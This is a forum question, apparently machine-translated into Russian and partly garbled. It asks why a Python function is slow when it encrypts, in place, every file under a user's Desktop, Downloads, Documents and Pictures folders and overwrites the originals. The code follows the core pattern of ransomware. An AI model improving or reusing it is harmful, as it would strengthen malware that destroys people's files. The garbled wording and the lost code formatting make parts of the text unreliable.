У меня есть программа, которая шифрует мои файлы в указанном c месте. Я построил для этого функцию, которая перебирает длину списка, в котором хранятся мои файлы, поэтому, если у меня будет 12 файлов, он будет l oop 12 раз. а затем я перебираю свой каталог, открываю каждый файл для чтения и записи байтов, шифрую их данные и записываю их в файл.
Функция работает нормально, но моя проблема в том, что моя функция принимает еще долго до конца sh, и я не знаю почему.
Есть ли способ улучшить производительность моей функции?
Функция шифрования:
Эта функция занимает много времени, чтобы завершить sh.
def encrypt(self):
for _ in range(0, len(files())):
for file in files():
try:
with open(file, 'rb+') as f:
plain_text = f.read()
cipher_text = self.token.encrypt(plain_text)
f.seek(0); f.truncate()
f.write(cipher_text)
except Exception as e:
print(f'{e}')
Файлы Функция:
def files(pattern='*'):
matches = []
for root, dirnames, filenames in chain(os.walk(desktop_path), os.walk(downloads_path), os.walk(documents_path), os.walk(pictures_path)):
for filename in filenames:
full_path = os.path.join(root, filename)
if filter([full_path], pattern):
matches.append(os.path.join(root, filename))
return matches